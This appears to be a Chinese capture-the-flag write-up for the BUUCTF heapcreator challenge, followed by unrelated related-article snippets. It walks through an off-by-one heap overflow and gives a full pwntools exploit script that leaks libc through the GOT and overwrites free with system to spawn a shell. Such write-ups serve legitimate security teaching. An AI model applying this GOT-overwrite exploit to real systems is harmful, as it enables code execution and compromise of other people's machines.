BUUCTF--hitcontraining_heapcreator1

老规矩上来看保护:


64位架构并且除了PIE全开。接着黑盒测试下场景:


菜单题不用想就是堆。接着我们我们看看IDA中的逻辑:


程序的主要逻辑是增删改查。我们看看创建堆的过程:


注释我已给出,步骤大概如下:

1.创建一个索引堆,大小为0x10,前八个字节放Size,后八个字节放用户开辟的堆地址。

2.创建用户要求大小的堆,用户存放用户数据。

下面测试一下创建一个大小为0x10的堆,输入数据aaaaa:


下面我们看下释放堆快的代码:


我们看到释放堆快这里没有什么问题,也不存在UAF漏洞。接下来我们看看改堆快内容的代码逻辑:


在edit中我们找到了漏洞所在。show的代码我们就不看了一般是用来泄露地址的。因此我们就需要利用Off-by-one,来伪造一个chunk。以此来达到我们的目的。

根据上述代码逻辑,我们的漏洞利用思路如下:

1.申请三个大小一样的chunk,分别为chunk0,chunk1,chunk2。

2.接着修改chunk0的内容填入bin/sh作为后续system的参数,利用off-by-one并修改下一个索引chunk的大小为0x81(覆盖的是chunk1的索引堆)。

3.将chunk1释放掉,并申请回来此时我们将拥有0x80大小的空间任我们写入。并能够在chunk1的索引堆上修改用户堆地址为我们可利用的got表项。

4.通过show泄露got表地址,并计算libc的基地址,并得出system的地址

5.利用read_input函数将system的地址写入free的got表中

6.触发利用

exp如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-from pwn import *#r = remote('node5.buuoj.cn',28780)
r = process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") #这是我本地的,要用你自己本地的或者题目提供的
context.log_level='debug'def add(size,content):r.sendlineafter("choice :",'1')r.sendlineafter("Heap : ",str(size))r.sendlineafter("heap:",content)def edit(idx,content):r.sendlineafter("choice :",'2')r.sendlineafter("Index :",str(idx))r.sendlineafter("heap : ",content)def show(idx):r.sendlineafter("choice :",'3')r.sendlineafter("Index :",str(idx))def delete(idx):r.sendlineafter("choice :",'4')r.sendlineafter("Index :",str(idx))free_got = elf.got['free']add(0x18,"aaaaa")   #这里不能用0x10 程序会奔溃 0x18效果是一样的
add(0x10,"aaaaa")
add(0x10,"aaaaa")
#gdb.attach(r)#pause()edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')delete(1)add(0x70,p64(0)*8+p64(0x8)+p64(free_got))free_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))base_addr = free_addr - libc.symbols['free']
system_addr = base_addr + libc.symbols['system']edit(2,p64(system_addr))delete(0)r.interactive()

下面我们看看具体的布局:

申请三个大小一样的堆:


接下来通过漏洞从chunk1的用户输入bin/sh并将chunk2的索引堆大小给改成0x80:


释放掉chunk1接着再申请回来,我们将拥有对0x80的操作权限,并将free_got表地址写入chunk3的索引堆中:


此时往chunk3这个用户堆写数据,将会写入free_got表里,这样我们可以将伪造的system的地址写入free_got表,一旦调用free,将会去执行system。可能有些师傅会在这里有困惑,答案在这里:

这句其实可以这样解读read(0,对应索引堆里的那个堆地址,Size),现在他将变成这样read(0,&free_got,Size)。不知道这样解释明白不,大神忽略。

最后,我们释放chunk1,他将直接执行system函数,并将堆地址给当成参数传入:



理解思路就好,我分别三次下断点运行调试的,因此堆的地址在变化,不必纠结。到这里就结束了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/597820.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

尚硅谷大数据技术-数据湖Hudi视频教程-笔记01【概述、编译安装】

大数据新风口:Hudi数据湖(尚硅谷&Apache Hudi联合出品) B站直达:https://www.bilibili.com/video/BV1ue4y1i7na 尚硅谷数据湖Hudi视频教程百度网盘:https://pan.baidu.com/s/1NkPku5Pp-l0gfgoo63hR-Q?pwdyyds阿里…

【Linux操作系统】探秘Linux奥秘:Linux 操作系统的解密与实战

🌈个人主页:Sarapines Programmer🔥 系列专栏:《操作系统实验室》🔖诗赋清音:柳垂轻絮拂人衣,心随风舞梦飞。 山川湖海皆可涉,勇者征途逐星辉。 目录 🪐1 初识Linux OS …

CentOs搭建Kafka集群

Centos7搭建Kafka集群 一、集群规划二、环境准备三、安装kafka集群1、下载kafka安装包2、解压3、配置环境变量4、编辑配置文件①修改broker.id②配置kafka运行日志路径③配置Zookeeper集群地址 5、启动集群6、测试kafka①、创建topic②、查看当前服务器中的所有topic③、生产者…

如何使用CapSolver解决Web爬虫中遇到的CAPTCHA问题

Web爬取是一种强大的技术,用于从网站中提取数据,但经常会遇到一个常见障碍,即CAPTCHA。CAPTCHA是“Completely Automated Public Turing test to tell Computers and Humans Apart”的缩写,旨在防止自动机器人访问网站。然而&…

月薪15000在春晚分会场西安,够花吗?

千寻的结论: 如果有房无贷,另一半也有工作收入,父母身体健康且均有不错的退休金, 满足这些条件的话,在西安月入1.5W是相当不错。

人机交互主板定制_基于MT8735安卓核心板的自助查询机方案

人机交互主板是一种商显智能终端主板,广泛应用于广告机、工控一体机、教学一体机、智能自助终端、考勤机、智能零售终端、O2O智能设备、取号机、计算机视觉、医疗健康设备、机器人设备等领域。 人机交互主板采用联发科MTK8735芯片平台,四核Cortex-A53架构…

年度总结丨酷雷曼2023年度记忆

2023年 我们关心粮食和蔬菜 也关心“视界”和未来 我们执着于向新兴科技深处钻研 也探寻着让VR全景广泛落地 我们目睹着智慧生活的日新月异 也记录着平凡奋斗者们创造的非凡事业 2024年 属于VR的盛行之年 你又会将目光投向哪里? 这里有一份来自 酷雷曼的…

Video组件的使用

概述 在手机、平板或是智慧屏这些终端设备上,媒体功能可以算作是我们最常用的场景之一。无论是实现音频的播放、录制、采集,还是视频的播放、切换、循环,亦或是相机的预览、拍照等功能,媒体组件都是必不可少的。以视频功能为例&a…

服务网格 Service Mesh

什么是服务网格? 服务网格是一个软件层,用于处理应用程序中服务之间的所有通信。该层由容器化微服务组成。随着应用程序的扩展和微服务数量的增加,监控服务的性能变得越来越困难。为了管理服务之间的连接,服务网格提供了监控、记…

promethues grafana 安装和使用

文章目录 1、promethues安装2、node-exporter安装3、grafana安装4、配置promethues监控node节点5、grafana操作外传 Docker 镜像下载地址: https://hub.docker.com 比较好的hub.docker.com///-- https://hub.docker.com/u/bitnami grafana监控面板:https…

excel中解决多行文本自动调整行高后打印预览还是显示不全情况

注意:此方法对于多行合并后单元格行高调整不适用,需要手动调整,如大家有简便方法,欢迎评论。 一、调整表格为自动调整行高 1)点击此处全选表格 2)在第一行序号单元格的下端,鼠标成黑十字时&am…

leetcode2397. 被列覆盖的最多行数

目录 题目 思路 解题方法 题目 https://leetcode.cn/problems/maximum-rows-covered-by-columns/description/ 给你一个下标从 0 开始、大小为 m x n 的二进制矩阵 matrix ;另给你一个整数 numSelect,表示你必须从 matrix 中选择的 不同 列的数量。 …

Ubuntu18.04 升级Ubuntu20.04

文章目录 背景升级方法遇到的问题 背景 因项目环境需要,欲将Ubuntu18.04升级至Ubuntu20.04,参考网上其他小伙伴的方法,也遇到了一个问题,特此记录一下,希望能帮助其他有同样问题的小伙伴。 升级方法 参考&#xff1a…

Android studio VideoView 应用设计

一、运行效果: 二、新建empty activity项目: 三、打开activity_main.xml布局文件,添加VideoView: <VideoViewandroid:id="@+id/videoView"android:layout_width="368dp"android:layout_height="573dp"app:layout_constraintBottom_toBot…

系列三十三、如何将一个springboot jar做成批处理文件

一、将一个springboot jar做成批处理文件 1.1、需求 最近在写【Spring Cloud Alibaba】的系列文章&#xff0c;其中有一个部分是安装Sentinel控制台&#xff0c;使用命令执行完全没有问题&#xff0c;但是命令太长了&#xff0c;每次启动时都要找笔记&#xff0c;然后粘贴到命…

【51单片机】点亮第一个LED灯(含创建文件等基础操作)

51单片机现在不仅是电子信息专业学生的必修课&#xff0c;也是进入嵌入式领域的踏脚石。 本系列将会按照江科大的视频进行&#xff0c;也算是相当于一个笔记&#xff0c;进行巩固 实现第一个LED灯的点亮其实并不复杂&#xff0c;重要的是有一些准备工作比较繁琐&#xff0c;就…

15 Linux 按键

一、Linux 按键驱动原理 其实案件驱动和 LED 驱动很相似&#xff0c;只不过区别在于&#xff0c;一个是读取GPIO高低电平&#xff0c;一个是从GPIO输出高低电平。 在驱动程序中使用一个整形变量来表示按键值&#xff0c;应用程序通过 read 函数来读取按键值&#xff0c;判断按键…

从0开始python学习-40.通过正则表达式/json进行接口关联

目录 1. 正则表达式&#xff1a;使用re库&#xff08;需安装-pip install re&#xff09;&#xff0c;只能提取字符串的数据。 1.1 re.seach&#xff1a;提取一个值&#xff0c;得到的是一个对象&#xff0c;通过下标group(1)取值&#xff0c;如果没有匹配到值则返回None 1.…

01、Kafka ------ 下载、安装 ZooKeeper 和 Kafka

目录 Kafka是什么&#xff1f;安装 ZooKeeper下载安装启动 zookeeper 服务器端启动 zookeeper 的命令行客户端工具 安装 Kafka下载安装启动 Kafka 服务器 Kafka是什么&#xff1f; RabbitMQ的性能比ActiveMQ的性能有显著提升。 Kafka的性能比RabbitMQ的性能又有显著提升。 K…

Vue知识总结-上

VUE初识 Vue是一套用于构建用户界面的渐进式(由只需要轻量小巧的核心库构建的简单应用逐渐扩展为可以引入各式各样的Vue组件构建的复杂应用)JavaScript框架 Vue需掌握的内容&#xff1a;Vue基础、Vue-cli、vue-router、vuex、element-ui、vue3 Vue特点 采用组件化模式、提高代…